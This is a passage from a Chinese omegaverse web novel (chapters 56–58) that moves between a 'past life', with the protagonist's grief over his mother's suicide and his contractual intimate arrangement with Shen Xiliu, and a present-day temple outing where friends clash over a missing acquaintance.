“对不起,表哥,对不起,对不起,都是我没看好姑姑……”祁妍哭得泣不成声,不断对祁厌道歉。 她说,夏云惬病发的时候,照看的护士刚离开去取药,姑姑让她去洗手间洗个苹果,看她表情温柔平静,完全不像是个病人,祁妍这才放心地去洗苹果。 结果没想到,她只走了这么一会儿,姑姑就离开了病房,等她回来找人的时候,便听见了一阵尖叫声。 听说,有人从十三楼的窗户跳了下去。 “和你没关系,”祁厌摇了摇头,“别自责。” 该自责的人是他,祁妍能够愿意帮他照顾夏云惬,祁厌已经非常感谢对方了,他有什么资格责怪别人? “可是,可是,如果不是我,如果不是我……” 祁妍捂着脸痛哭,她被祁戈抱在怀里,不断哭着重复那些话: 如果当时她没有离开,没有让夏云惬单独一个人就好了,明明他们只剩下这么唯一的长辈了,为什么结果连姑姑都没能留住…… 手术终究失败了,夏云惬常年疾病缠身,本身没有求生欲望,又是从十三楼跳下来,造成严重的颅脑损伤、内脏破裂,医生尽力也没能将她抢救过来。 真是可笑,明明不久前才处理完朋友的丧事,没想到这么快居然就轮到了处理自己母亲的丧事。 来参加葬礼的人不多,都是外公外婆、舅舅舅妈生前的一些朋友,看向他们的目光总是带着怜悯。 这下子,祁家是真的只剩下三个孩子了。虽然都已经成年了,但在更长一辈的人看来,他们三个好像依然是小孩。 祁厌听得见他们在小声地讨论着,祁家真是造孽,早年丢了女儿,好不容易找到,却因为一场车祸,一个接着一个离开了;终于撑到孩子成年,结果又走了一个;就剩下这三个孩子,据说最大的那个高考失利,早就辍学了,两个小的,一个还在读高三,另一个天天在外面混…… “你不是说想考警校吗?” 祁厌叫住了祁戈,有很多话想要问他,既然想要考警校,为什么不好好读书? “……和你没关系,别管这么多。”祁戈冷声说了一句,转身离开。 让人头疼的孩子,祁厌叹了口气,取出口袋里的烟。他蹲在角落里,脊背微微弯曲,点燃一根烟,火光随着呼吸而明灭,熟悉的尼古丁进入肺腔,缓解了紧绷着的神经。 一道熟悉的脚步声慢慢响起,他依然低垂着头,几缕碎发垂落在眉目前,掩住祁厌的表情,胳膊随意地搭在膝盖上,指间夹着香烟,带着不易察觉的微微颤抖。 “沈先生,这次谢谢你帮我。”祁厌的声音有些低哑,如果没有沈溪流,他大概连妈妈的最后一面都来不及见了。 对方没说话,也没走近他,站在走廊的尽头,窗户开得很大,风不断往里灌,把烟味都给吹散开。 “能回答我一个问题吗。”祁厌微微侧头,漆黑的眼眸借着凌乱碎发的缝隙盯着站在走廊尽头的人,烟雾模糊了他的眼神。 沈溪流看着窗外的月亮,轻轻点头。 “为什么要帮我?这种事情和你无关吧?”也没有必要,完全吃力不讨好。 不会在意无关紧要的事情,更不会将时间浪费在这种事情上,这是沈溪流的性格。 但祁厌听说了,母亲跳楼以后,院方第一时间对病人进行抢救,也立即通知了沈溪流,因为当初是他安排夏云惬住院的事情,叮嘱仔细照顾;两个小时赶到C市也不是一件容易的事情,需要安排的事情太多,直达的航班太晚,再慢一些,或许祁厌就见不到夏云惬最后一面…… 沈溪流沉默了很久,久到祁厌以为他不会回答时,才听到他说:“失去母亲,是一件很可怕的事情。” 世界都将变得荒芜寂静,只剩无尽的黑暗与寒冷。 尽管时间能够磨灭痛苦的痕迹,但曾经的伤痛并非虚假;伤口有愈合的那一刻,但伤疤会永远留在身上。 “确实可怕。”祁厌低声喃喃,视线变得模糊。本以为可以等到妈妈病好的那一天,再好好向她道歉,却未曾想到,比那一天更快到来的是死亡。 他将夏云惬埋在她的父母旁边,无论是亲生父母还是养父母,都埋在了一起。 当年回C市的时候,夏云惬便将夏青山夫妇的坟迁到这里,生的时候,没能团聚,死后总算能够一家人团聚了。 第56章 第 56 章 朋友之间的互相帮助 麻烦大了。 祁厌没想到, 只是和男朋友陪着外公外婆、夏女士出去玩,也能在山上遇到江与青。 原先是打算去拜访翟徐安医生,但对方因为工作出差, 短时间内回不来,所以只能作罢。于是改了计划, 他们准备去当地不错的旅游景点游玩, 顺带着让祁厌和沈溪流一起过去,帮忙拍照。 不知道为什么,祁厌发现自己在知道翟徐安正在出差, 他们短时间内见不到时,居然暗自松口气。 当地风景不错,很适合拍照, 顺着景点入口进入, 正值周末,到处都是熙熙攘攘的人群,一路走走拍拍。直到去山上庙的石梯,人群才变得不那么拥挤,沿着石梯往上爬,一路拍照的他们走得很慢。 “祁厌, 你拍照怎么和你外公一个样, 一板一眼的, 一点都没有感觉, 还是溪流拍得好看, 有意境。” 外婆嫌他俩拍得不好看,把相机交给了沈溪流,时不时欣赏地点评。 夏女士笑道:“溪流是不是学过专业的拍照技巧?感觉你拍照拍得很有氛围感,无论是构图、光线、角度都选得恰到好处。” 外婆美滋滋地凑在沈溪流旁边看, 非常赞同道:“一看就很专业,氛围感特别强,甩那边的两个人几条街,等回去我就发朋友圈,真好看!” 沈溪流推着眼镜,谦虚地说不算学过,只是私底下钻研过而已。 一旁的外公在那冷哼,有点不服气,正要张口说话,祁厌就拉住外公,让沈溪流也帮忙拍几张。拍照技巧不行,还是少说话,免得老年夫妇又要互相拉踩起来了。 到这里,今日的日程都相当顺利。直到来到寺庙外,他们遇见正从庙里走出来的某人,祁厌脑里飞快闪过一句话:完了,和江与青撞了个正着。 而且还是正面碰到,连躲起来的机会都没有,江与青就眼睛一亮,扑了过来,一把逮住他斜斜背着的背包。 “别想逃!祁厌,你们太过分了,都躲我多少天了?快说,顾燕行那个混蛋王八蛋到底跑哪里去了?别想骗我!我知道的,你们这群家伙上周还一起去看过流星雨,照片都还在我手机里,否认也是没用的!” 他近乎咬牙切齿地说着,表情有点暴躁,祁厌丝毫不怀疑,如果现在在这里的是顾燕行,江与青绝对忍受不住心情,一定会动手揍人。 祁厌已经很久没去酒吧,顾燕行也早早溜走了。在那次流星雨之后,就机灵地离开了,他没忍住把流星雨的照片发给江与青时,就猜到那人肯定会发现他藏在这里,为了不正面撞见江与青,果断离开酒吧。 现在,酒吧的群里时不时传来消息,说江与青现在每天晚上都会过去,点几瓶超贵的酒,虎视眈眈地盯着走来走去的酒吧工作人员,势必让他们说出顾燕行的行踪,群里已经有人每天暗戳戳地打听顾燕行的下落,准备把这人卖给江与青。 偏偏顾燕行的失踪从来都是线上线下同步进行,他们压根找不着。现在,最有可能和顾燕行还留有联系的祁厌,被江与青当场抓住了。 想着最近总是梦到的乱七八糟事情,祁厌第一时间认输,背包都不要了,直接往沈溪流背后躲,隔着男朋友,无奈地说:“我知道了,我知道了,我会把我们所有的联系方式都交给你!” 手里的背包重得要死,祁厌一松开,江与青差点没拿住。听到他的话,还没惊喜过望,就一眼对上沈溪流凉飕飕的目光,眉头一皱:“啊,你怎么也在这里?” 而且还和祁厌凑在一起,想起对方的阴暗性格,江与青的目光在祁厌和沈溪流身上来回扫视几眼,深感不太妙。 “这话应该是我们问你吧?”沈溪流的语气轻飘飘的,听不出喜怒,垂下的眼帘敛着眸中的厌恶。 刚一见面,就扑上来拽住别人的男朋友,真是让人恶心。 “来求神拜佛,让我早日抓住顾燕行啊。”江与青理所当然地说,又看向旁边正饶有兴趣地打量他们的两个老人,和一个容貌熟悉的女人。 眼眸一亮,江与青把包还给沈溪流,惊喜地凑上去,抓住夏女士的手:“哇,一定是夏姨吧!刚才失礼了,这么多年没见,您还是一样美丽,风采不减当年,甚至比以前更加有精气神了!两位爷爷奶奶一定是夏姨的亲生父母吧,我一眼就认出来了,夏姨的脸简直和您一个模子刻出来,一样的美丽……” 没有人能够抵挡住热情洋溢的人,尤其是嘴巴特别甜的孩子。江与青一凑上来,夏女士就想起来这孩子是谁了,就连外公外婆也很难不喜欢这么会说话的他。 “这家伙实力不减当年,几秒攻略,真可怕。”祁厌还躲在沈溪流身后,有点感慨,“溪流,原来你和与青也认识的吗?” 之前他和顾燕行聊的时候,也没见沈溪流有什么反应,祁厌还以为两家并不认识。 “嗯,两家有合作,以前见过几面,不过算不上很熟。之前听你们聊的时候,没有想到会是一个人。”沈溪流说道。 心情不好,糟糕透顶了。 他低垂着眼,镜片下的眸子里一片阴霾。 即使祁厌的注意力放在他身上,沈溪流也难以忽视江与青的存在,一想到他就在不远的距离跳来跳去,呼吸着同样的空气,他的心情都是糟糕透顶的。 但在祁厌身边,沈溪流什么都没有表现出来。直到大家排队祈福时,先一步出来的他走到江与青身旁。 江与青正咬牙切齿地看着祁厌刚才给他发的所有联系方式,脸色有些白,真是混蛋,那么多联系方式,一个没给他,只有个未知的、随机的邮件。 听到脚步声,江与青才向他瞥了过去,对上沈溪流冰冷厌恶的眼神,顿了一下,慢慢道:“沈溪流,我真的很好奇,我当初到底是做了什么事情,才会让你这么讨厌我。” 真的非常不解,他应该没有得罪过沈溪流吧? 江与青仔细回忆着那一次见面,向来对别人视若无睹的沈溪流,第一次对他表现出非常极端厌恶的情绪,甚至想把他从台阶推下去…… “你回国做什么?”沈溪流语气森冷。 “和你没关系。”咦,好差劲的语气,真吓人。 江与青从兜里取出一根棒棒糖,拆开往嘴里塞。爬山爬得有点低血糖,需要吃点东西恢复力气,免得沈溪流对他动手,又打不过。 当然,这都是他胡乱猜想,哪个神经病会在大庭广众之下,寺庙前动手打人啊?哦,沈溪流还真可能,江与青的脚腕在隐隐作痛,忘不掉这神经病当年给他绊了一跤。 “倒是你,真的喜欢祁厌吗?不会是想利用他……利用alpha的信息素来治病吧?”江与青什么都不知道,但他还是敏锐地猜测到一些。没办法,以江与青对沈溪流的了解,实在是无法相信沈溪流会喜欢人。 祁厌不知道沈溪流的性格,他还能不知道吗? 这家伙的危险度,就连在国外的他都有所耳闻。看刚才的架势,那个埋头搞科研的笨蛋朋友,压根不知道眼前这个年少便成名的家伙有多么危险吧,居然和他谈起平平无奇的恋爱了。 有点惊吓,只是当着长辈和祁厌的面,没有表现出来。 江与青不希望祁厌、夏姨受到伤害,他们的过去已经够倒霉了。现在终于过上平静安稳的生活,结果看到沈溪流出现在祁厌身边,江与青忍不住有点担心,这一切会被沈溪流摧毁掉。 沈溪流盯着他,心底不断涌动着极端的厌恶,他深吸口气,没有做出任何失礼的举动:“这些都和你没有关系,不该说的,你最好别说……” 江与青打断道:“我又不是多嘴多事的人,只要你别玩他,我才不会管。” 朋友与朋友之间需要互相尊重,他看起来很像会对朋友的恋情指指点点的人吗?一不小心,可能就会从朋友变成仇人的事情,他才不会干。 虽然想不透沈溪流为什么会喜欢……等等!等等!!江与青盯着从寺庙大门走出来的夏云惬,瞳孔猛地一缩,眸光倏然紧紧盯着沈溪流,内心多了一丝怀疑。 “你看什么?”沈溪流被他炯炯的目光盯得浑身不舒服,十分厌烦。 江与青怀疑地盯着他,说:“沈溪流,你该不会……是因为夏姨和你妈相似,所以才看上祁厌吧?” 如果没有记错,江与青记得沈溪流的母亲——沈云韵女士的信息素也是百合花,给人的感觉非常温馨,而且身体病弱,气质和夏云惬女士十分相似…… 所以,沈溪流该不会是想找妈代餐吧? 借着和祁厌谈恋爱的机会,再感受一下妈妈的温暖吗? 沈溪流:“……” 从未猜想过的角度从江与青口中说出,沈溪流陷入前所未有的沉默。 “咯嘣!” 沈溪流的沉默不语,让江与青惊吓到咬碎嘴里的糖果,不会吧,不会吧,难道真的猜中了吗? “两个月内。”沈溪流满脸冰霜,忍住讽刺的话,“我把顾燕行给你打包送去,以后不要再出现在我们面前,也不要再回国!” 既然你要找顾燕行,我就把你们一起送走,免得碍眼。他不能再做出任何让祁厌讨厌他的事情,在失控前,先排除所有危害吧。 一听到这话,江与青倏地睁大眼睛,已经顾不上刚才的话,蹭地跳起来! 他一把握住沈溪流的手,双眼发光,惊喜不已:“难道说你这家伙居然是这么好的好人吗?!你是第一个说出这么顺我心意的话的人,啊,我们真是心有灵犀!看来这么多年,我真是错怪你了!” 沈溪流:“……” 一把甩开他的手,强撑起虚伪的微笑,走向刚出来的其他人,暗想真不愧是江与青,还是那样擅长激怒他,恶心人。 江与青不在意他的冷漠,快步走到他旁边,满脸灿烂的笑容:“哎呀,真是不可思议。溪流,你要是早说这种话,说不定我们能够成为很好的朋友呢!你很喜欢祁厌吧?我跟你说哦,我手里有很多我们小时候的合照,十几本相册,独一份哦……” 沈溪流的脚步突然停了半拍,镜片反射着一抹白光,看不清楚眼神。 别的或许不在意,但这个很难不心动。 “……”居然真心动了吗。江与青的眸光落在他的脸上,心底微动,继续笑眯眯地说,“我的相册一般不随便给别人看,也不会因为谁出大价钱就卖出去,毕竟那是友谊的象征。但如果是我的朋友的话,就没有问题哦,我可以打电话给管家,让他复印一份寄回国内,送给我的朋友……” “江与青。”沈溪流看向他,“我们认识多少年了。” “好多年了呢,毕竟我们两家勉强算是故交吧。”江与青状似回忆地说。 沈溪流眼神平静,脸上带着微笑:“既然认识多年,两家又是故交,那我们应该算得上朋友吧?” “……当然。”江与青眯眼一笑,与他对视,“朋友,可是互相帮助的存在。” 祁厌将所有联系方式都发给了江与青,并且没有提醒顾燕行。 狡兔三窟,如果这次顾燕行再跑,祁厌心想自己应该很难帮江与青找到对方,再这样下去,很容易发展成梦里那个乱七八糟的BE路线。 也不知道是不是受到幻觉的影响,祁厌发现沈溪流和江与青好像互看不顺眼。他察觉到了,但不知道原因,所以不敢吱声。 再观察一下吧,男朋友和朋友之间,希望别是什么无法解决的矛盾。 祁厌许完愿走出寺庙,一眼看到其乐融融聊天的两人,氛围特别好。 他顿了顿,扭头问夏女士:“妈,这寺庙有这么灵验吗?” 秒实现。 这神明真上道。 第57章 前世 简单的治疗 无论发生什么事情, 人总要继续走下去。 祁厌花了一周的时间,处理完母亲的后事,解决与祁戈的问题, 让他回学校后才和沈溪流回S市。最近发生了许多不好的事情,但他看起来和寻常模样没什么区别, 回去以后, 该正常工作,依然正常工作。 酒吧的老板徐哥问要不要给他继续放个假,好好休整一下。祁厌道谢后拒绝了, 没有那种必要,他很喜欢酒吧的氛围,珍惜和朋友们聚在一起的机会。 他身边所能珍惜的人越来越少, 本就不大的圈子随着好友、母亲的逝去逐渐在缩小, 认识的人好像变得越来越少。 “那行,要是想休息的话,就不要勉强自己。”徐哥笑说,靠着吧台,给他个建议,“对了, 过段时间, 有个调酒师比赛, 你要不要去玩玩?是国内某个挺权威的俱乐部组织发起的, 我听朋友说, 这次参加的人挺多,想去吗?” “听起来挺有意思,不过今年就不去了吧,我现在还有事在身, 不太方便去太远的地方。” 祁厌站在吧台后,有些随心所欲地调着酒,灵动的手指拨弄着酒具,琥珀色的酒液倾泻而入,修长的手指骨节分明,手背微微浮现青色脉络,在灯光下散发着独特韵律的美感,一举一动优雅华丽,让人移不开视线。 “是你之前说的那个特别赚钱的生意吗?”徐哥欣赏着他熟练又富有节奏的调酒动作。 冰块碰撞着玻璃,发出清脆悦耳的声音,祁厌将调好的酒推给徐哥,暧昧的灯光落在他的脸上,深情缱绻的桃花眼微微眯着,纤长的睫毛投下恰到好处的阴影,更显得神秘惑人。 一看这脸和这眼神,徐哥就相当理解为什么大家这么喜欢凑到祁厌眼前,一个眼神就能撩得人心动不停,毕竟无论是看他那张温柔俊美的脸,还是欣赏他华丽的调酒技术,听他温柔体贴的安慰,都是一种不错的体验。 祁厌思考一瞬,含笑说道:“唔,是这样。不过现在在我心里,这生意就算是不给钱也挺想干的。” 他太过于浅薄,人心难以掌握。无论是自己还是他人,猜测与探索都是不可取的事情。 “这酒味道不错,取名了吗?”徐哥尝了一口,觉得可以加入酒单里。 祁厌摇晃着酒杯,看里面的色彩绚丽变化,说道:“没有,随便调的。” “乱调也调的不错,就是度数有点高。” 祁厌技术好,对柜台的所有酒都了若指掌,知道不同种类间的酒能够碰撞出独特的风味,比例也掌握得完美,每次喝起来,徐哥都觉得相当新奇。 “度数高,对于酒量好的人来说,更有趣不是吗?”祁厌笑笑,他认真地给自己调了一杯酒,看着香槟清爽的气泡不断升起,好像全然从充满阴霾的过去走了出来。 “……确实。” 徐哥看了他一眼,没有把最近刚得到的消息给出去,暂时放轻松一下也好,压力太多的话,对身体不好。 祁厌没有在酒吧工作太久,提前和另一个调酒师朋友换班就回去了。他还惦记着沈溪流的身体情况,发生那种事情,谁都没心情做,也不知道会不会影响到假性标记。 今晚提前回去,沈溪流还没有去休息,正坐在沙发处看书,桌面堆叠着许多资料和书籍,放得有些凌乱。听到动静传来,他只瞥了一眼,便将目光收回,继续安静地做自己的事情,并没有询问祁厌今晚怎么回来这么早。 屋内的温度有些高,祁厌脱掉外套,才走过去,问道:“沈先生,你的身体不要紧吧?” “还行。”沈溪流淡淡道,他的情况越来越稳定,短时间内不加深假性标记也没有问题,每日的检查报告都很乐观。 祁厌看向桌面放着的检查报告:“我可以看一下吗?” “嗯。”沈溪流无所谓,靠着沙发扶手,书放在腿上,指尖轻翻着下一页,是有些无聊的姿态。等到祁厌走近拿起检查报告,他的鼻尖微微动了动,嗅到一点淡淡的特殊酒香。 他们很少在祁厌下班的时候相遇,毕竟对方总是很晚才回来,一般这种时候,沈溪流已经入睡了。 如果是有事的晚上,祁厌当晚会请假,所以很难得在他身上嗅到酒味。祁厌应该也喝了不少酒,脸颊带着一些醺然,如果不是走近观察,完全看不出来,和寻常没什么区别,一样正经。 “看这情况,应该很快就可以结束了呢。”祁厌把检查报告仔细地看了一遍,缓慢笑了起来,眸光瞥向沈溪流,那双桃花眼好似春水荡漾,雾气萦绕,带着一抹朦胧的醉意。 沈溪流盯着他,意味不明地道:“你好像很开心的样子。” “嗯?有吗?”祁厌思考了一下,笑道,“或许吧,毕竟如果契约结束了,也就代表你的身体好转,这难道不是一件值得我们开心的事情吗?” 确实,契约结束的前提是沈溪流的身体好转,这的确是一件值得双方都高兴的事情。不过祁厌刚才的那种语气,让沈溪流不是很喜欢。 “沈先生,今晚要继续加深假性标记吗?”祁厌放下检查报告,顺便将桌面的东西整理干净,很随意地询问对方。 有段时间没做了,虽然情况在逐渐稳定,但也明显比先前做的时候,变得缓慢许多。 轻轻合上书,沈溪流观察了他的表情,恢复得挺好,没有先前在C市时的疲惫模样,便道:“可以,不过你先去洗澡,把你那一身酒味都洗干净。” 他不仅讨厌alpha的信息素味道,就连其他味道也十分讨厌,包括不限于香水味、酒味、烟味等等。屋内常年大量释放的信息素清除剂消除了双方的信息素,但消除不了其他正常的味道,沈溪流只能提醒祁厌,别用这些东西,把自己处理干净。 “嗯,没问题。” 祁厌非常理解,毕竟都和沈溪流相处有很长一段时间,对他的某些习惯算是了如指掌,很配合地起身回自己房间洗澡换衣服,再去隔壁找沈溪流。 做了那么多次,双方早就习惯了,沈溪流把东西丢给他,提前说道:“今晚一次就行了。” 每次做起来都太累,跪在下面太久,一开始还好,久了就容易疲惫。 “真的一次就够吗?”屋内很黑,沈溪流不喜欢在做的时候开灯,祁厌倒是无所谓,提醒他,“沈先生,你别待会儿上了床,就又反悔,到时候我听哪句话?” 沈溪流:“……听我现在的话。”虽然有很多事情他不想承认,但不得不说,和祁厌做起来很爽,很舒服。 “行。”祁厌撕开包装,给他建议道,“那么久没做,估计要花点时间,你要不要换个姿势?” 一个姿势久了,别说沈溪流受不了,就连祁厌都觉得有点麻木,偏偏对方就喜欢从后面来的姿势。没直接说为什么,但祁厌能够猜得到,毕竟沈溪流的性格就放在那里,不想直面这种事情,也是正常的。 “不换。”沈溪流冷淡否决,让他麻利点开干,别磨磨蹭蹭的,做得越快越好。 祁厌:“……” 果然,隔了一段时间没做,人又恢复理性,事后圣如佛的贤者状态,就连沈溪流这样的人也免不了。 不过这次没说攻击人的话,也挺不错。 身上的衣物多少有点碍事,但沈溪流这人喜欢穷讲究,强迫症严重,就算上床,也不想发生太多肢体接触,尤其是没穿衣服那种,光是想想,浑身鸡皮疙瘩都要起来。 作为正常人的祁厌无法理解,也只能顺着他的意思,穿着衣服做.爱,尽量减少皮肤接触。连套子都好好检查了一遍,发现没问题才使用。 不过今晚明显和以前不太一样,不知道是不是考虑到两人太久没做,祁厌的动作慢吞吞的,手掌总是隔着衣服碰到不该碰的地方。 每次沈溪流要说话制止时,他就先一步退开,说一句抱歉,不小心碰到了,我们继续慢慢来。 这是相当磨人的一次,习惯了无欲无求状态的人,也轻而易举地被拉进状态,整个人都变得浑浑噩噩,好半晌才察觉到不太对劲:“窗……窗帘没拉!” 沈溪流趴在床上,喘息着提醒身后的人。刚才开着灯没注意到,现在关灯后,逐渐进入状态后,眼睛适应了黑暗,才慢一拍地发现视线比以往更加清晰。 “不过也没事吧。”祁厌握着他的腰,看了一眼开着的窗帘,说,“反正屋里很黑,对面的人看不见,现在也不方便下床。” 沈溪流还想让他下去拉窗帘,外面的确看不见,但他自己看得见。尽管选了背对的姿势,但屋内太亮了,视线过于清晰让他觉得不太舒服,可是他很快就没心思去想这些乱七八糟的事情。 欲潮来得比以前都要更加灼热,偶尔不小心被擦过的地方传来一阵阵酥麻的细微电流,每一根神经都在剧烈战栗,欢愉压制住理智。他连斥责对方的话都说不出口,就攥着床单,不断深呼吸地瘫倒在床上。 身上的衣物被蹭得有些乱七八糟,祁厌有些苦恼地说这样下去,一次都做不完了,沈先生能不能好好配合一下? 他一边说着,一边隔着衣服扶沈溪流起来,动作暧昧又温柔,远比以前的任何一次都要撩拨。就是说话不太中听,说什么这个姿势接触面积太多,明天你肯定会生气,所以麻烦起来一下哦,早点配合做完,我们就可以各自回房间休息了。 沈溪流:“……”这家伙果然喝醉了吧,平时从不说这些阴阳怪气的话,也不会做这么多小动作,让人紧迫感十足。 尽管是同一个人,但床上床下的思考角度总是不一样的。 所以终究是允许了更多接触,以方便自己别太累,却因此被拉到更无法形容的欲望深海之中,就连宽大温暖的手掌碰触到湿热的额头时,都没能产生一丝抗拒与厌恶。 太舒服了,沈溪流的额头浸出汗水,脸颊潮热,眼瞳扩散,不断急喘着,没有焦距的眼睛看着俯在身上的人,窗外的光让他能够看清楚对方的表情。 难以形容,那双看似多情的桃花眼凝视着他,眼尾泛着浅浅的薄红,眼眸微微弯着,好似有春水在荡漾,几乎快要溢出来。 太过温柔缱绻的眼眸,轻易就能让人产生一种被深爱着的错觉,没有人能在这种视线下不心动。 灼热的呼吸喷洒在沈溪流的耳侧,祁厌的声音里夹杂笑意:“沈先生,别抱这么紧,我们可是说好的只做一次,也说好只治疗不做.爱的,麻烦把手放开一下,这种姿势的欺诈性太强……” 第58章 前世 违反合同规定 尽管沈溪流不想承认, 昨晚终究是做了好几次,现在想来只觉得后悔。 偏偏话是从他口中说出,再说什么都只会让人尴尬。于是继续保持平时的冷漠态度, 希望祁厌识相点,最好和以前一样知趣, 别凑到他面前。 但是祁厌最近并没有这么忙, 看见他在屋里走动的沈溪流觉得有些碍眼:“你不去工作吗?” “晚上八点才上班,一般白天过去,是因为有事情。”祁厌抱着一个快递箱子回来, 见他几乎快要躺在沙发上看书,笑着提醒他一句,“沈先生, 躺着看书对眼睛不太好。” “……和你没关系。”沈溪流收回目光, 表情冷淡。明明对方的态度和以前没什么变化,但是不知道为什么就是有点难以忽视,但随着相处时间的增多,目光难免会被另一边的祁厌吸引过去。 他在对调酒手法进行反复练习,偶尔会传来细微的清脆声响,力度与节奏都控制得相当好, 精准地控制着每一种酒的配方用量, 时不时还会琢磨新的调酒配方, 拿着笔记本记录下来。 注意到沈溪流的视线时, 祁厌会看过去, 问没有吵到他吧? 沈溪流收回视线,祁厌的动作控制很好,挺有节奏,吵不到他。看祁厌练习手法, 倒是让沈溪流更加清楚地意识到这人的皮相的确相当不错,无论做什么都赏心悦目,毕竟人是视觉动物。 说实话,当初从照片上看见这人时,沈溪流并没有感触,只觉得祁厌和易扬长得相似,毕竟是同父异母的兄弟。但面对面见过后就知道,这二人气质截然不同,给人的感觉也不一样。 大概是因为祁厌常年待在酒吧那种地方,这人很知情识趣,擅长观察别人,提供对方需要的服务,温柔虚伪的外表下藏着谨小慎微,完全没有易扬那种张扬嚣张的气势。 ——“虽然是假性标记,但是到了后期,多少还是会有一点影响。” 沈云殊被弄走后,他的得力助手沈清泽现在被沈溪流安排了,时刻观察着假性标记的进展,又给沈溪流提供不少资料。 大概是因为假性标记已经进入后期,沈溪流终于发觉了所谓的影响,目光容易被吸引,心底对alpha的反感在逐渐减弱…… 这导致祁厌有时候晚上做了过于冒犯的事情,他也没生气。 反倒是某次在街上,看见祁厌正在言笑晏晏地陪着一位漂亮的omega说话,帮她拎东西,温声细语地说着话的模样,过分碍眼。 至于那位omega身旁还有别的alpha,被沈溪流忽视了。 “开车。”让人烦躁的假性标记后遗症,沈溪流收回视线,让司机开车离开。好半晌后,发条信息提醒祁厌今天下午会有研究人员来抽取信息素,让他三点回来。 祁厌:【不是三天后才上门抽信息素吗?】 后面还跟着一个满头问号的卖萌表情包。 【提前了。】沈溪流面无表情地回他。一个alpha干嘛用这种可爱的表情包,连他都不用。 祁厌:【那行,我和客人说一声,今天早点离开。】 依然带着表情包,一个迫不及待下班的萌版q.q人。 陪客人? 你这是哪一行不正经的调酒师? 沈溪流忍住心底的反感,他发信息给安排在祁厌身边的人,问清楚情况,免得祁厌背着他违反合同规定。 ——【那位小姐是酒吧的常客,今天过生日,所以才花钱请酒吧的工作人员。我看不止祁厌过去,其他人也在,所以就没告诉您。】 监视的人始终牢记雇主的要求,只要对方没有违反合同规定,祁厌的任何事情都不用告诉他。 和某些抓奸死盯的要求比起来,这真的是一份相当轻松的工作。 假性标记的影响的确不大,沈溪流依然能正常思考,不被alpha信息素影响,但心情很糟糕。 祁厌三点准时回来,和他笑着打招呼,沈溪流直接无视他。许是近来两人相处关系缓和不少,突然回归零下,祁厌心想:我又是哪里惹到他了吗? 沈溪流一如往常地隔着玻璃窗看祁厌被抽取信息素,打止痛剂,心里跳出两个字:活该。 这家伙有这么缺钱吗?明明不久前刚按合同给他打了不少,只剩下合同结束的最后一笔…… “为什么我要考虑这些?”沈溪流意识到自己的想法不对,打开手机,找到沈清泽的电话,问他假性标记的后遗症会持续多长时间? “按照所长留下的资料,只要假性标记稳定下来就可以了。”沈清泽说。 他也是第一次接触这种事情,为此还把沈云殊留下的资料翻了一个遍,生怕出现意外。 希望赶紧稳定。沈溪流有点烦躁,偏偏想要稳定下来,就逃不过必做的事情。 omega在这方面完全就是弱势,即使没有alpha信息素的压制与诱导,体内的omega信息素也被控制得很好,但一做这种事情,沈溪流就会进入失控状态。 “沈先生……我有得罪你吗?”祁厌抱着沈溪流的腰。坐在他怀里的人湿热的脸不断蹭着祁厌的脖颈,扯着他的衣领,把衣服都扯得一团糟糕。 沈溪流的手指从衣服下摆钻了进去,掌心紧贴着祁厌腰腹紧实的肌理,微微用力支撑起身体。 “唔,嗯,得罪了。”沈溪流有点难受,张嘴咬着祁厌的锁骨,黑发被汗水沾湿,眼眸迷离,大脑被热潮熏到一片空白,理智彻底丢在一边。 太难熬了,沈溪流稍稍动一下,就浑身僵硬,难以形容的快感撩拨着每一根神经末梢,将感官放大到极致。 “诶……”祁厌扶着沈溪流,手掌摸着他滚烫潮湿的脸,不断被柔软的脸颊蹭着。他低头用额头抵着沈溪流的额头,微弯的桃花眼盯着他涣散的瞳孔,好像随时都会亲下来一样,让沈溪流的心跳漏跳一拍。 祁厌温柔又缱绻地撩拨着他,声线低哑暧昧,好似在诱惑人:“居然真的得罪了吗?那告诉我吧,只有知道哪里做错,才能更改吧?” alpha在这种事情上,总是比omega更加从容不迫,一点都不着急。 “你贴太近了。” 沈溪流不想回答这个问题,垂着眼帘,脸颊又红又热。他伸手去抓祁厌放在自己脸上的手,像是想要拉开,但又贴得更紧。 沈溪流无意识地蹭着祁厌的掌心,这副模样和寻常依恋自己的alpha的omega没有区别,甚至连本人都没发现,小声喘息着说:“你再摸下去,就违反合同规定了……” “哈,好过分。”祁厌笑了一声,嘴唇贴在他的耳边,温热呼吸落在耳廓,懒洋洋地说着话,“明明是你自己又摸又蹭的吧?” 真是不公平的合同,沈溪流可以对他动手动脚,乱扯他的衣服,摸他胸膛、腰腹,又亲又咬,祁厌却只能配合地扶着他。 “不过你都这样说了,那我只好放开一下,免得违反合同。”祁厌说着,将扶住沈溪流腰的手拿开。 沈溪流瞳孔一缩,呼吸急促地叫他:“等,等等!别放开,啊!” 他下意识抓紧祁厌放在他脸颊的手掌,另一只手却来不及支撑住身体,绷紧的大腿在颤栗发软,然后彻底落下。 一瞬间,强烈的快感瞬间遍布身体各个部位,脑海里好像有什么东西彻底崩塌下来。沈溪流几乎溺死在里面,只能死死攥着祁厌的手,张嘴咬着他的肩膀,不断急促喘息,就连视线也变得模糊不清。 “真烫啊,沈先生不会发烧了吧?”隔着衣衫,祁厌都能感觉到沈溪流的身体变得滚烫。听说发情期的omega身体都很热,生殖腔也会为标记过自己的alpha打开,渴望着alpha的标记。 不过已经进入假性标记的沈溪流,应该不会这么轻易进入发情期吧?祁厌不确定,今晚有点危险,好几次差点就进入了沈溪流彻底打开的生殖腔。 偏偏对方浑然不觉,这种姿势让沈溪流掌握主动权,祁厌险险控制住,免得冲动做错事。 现在总算结束,祁厌感觉到某个位置有点微妙,隔着衣物将手放在沈溪流的腹部处。还没仔细地摸,就被一把攥住手腕,沈溪流抬起脸,狭长锐利的眼睛瞪着他,脸颊泛红地警告道:“你……别乱摸!” 明明祁厌很温柔地配合着,沈溪流不知道为什么自己总能在这种时候,感觉到对方身上强势的alpha侵略性,好像随时都会被真正的彻底标记。 说不出的恐惧,夹杂着一抹藏得很深的愉悦情绪,让沈溪流感到可怕,这是omega的本能在渴望alpha标记吗?他的心底甚至开始好奇,祁厌的信息素……是什么味道? 这个念头刚一浮现,很快就被沈溪流压制下去。 假性标记带来的后遗症太过可怕,能够让人变得不像自己,幸好不是真正的标记…… 他在侥幸。 …… 祁厌顿了顿,道:“早知道就不穿这条裤子了。”水渍太明显,昏暗的房间都能看见上面残留的痕迹。 他们又做了一次,才各自回房间休息。至于凌乱的那一间,只能明天起来再打扫。 不过祁厌还是很好奇,他是哪里得罪沈溪流? 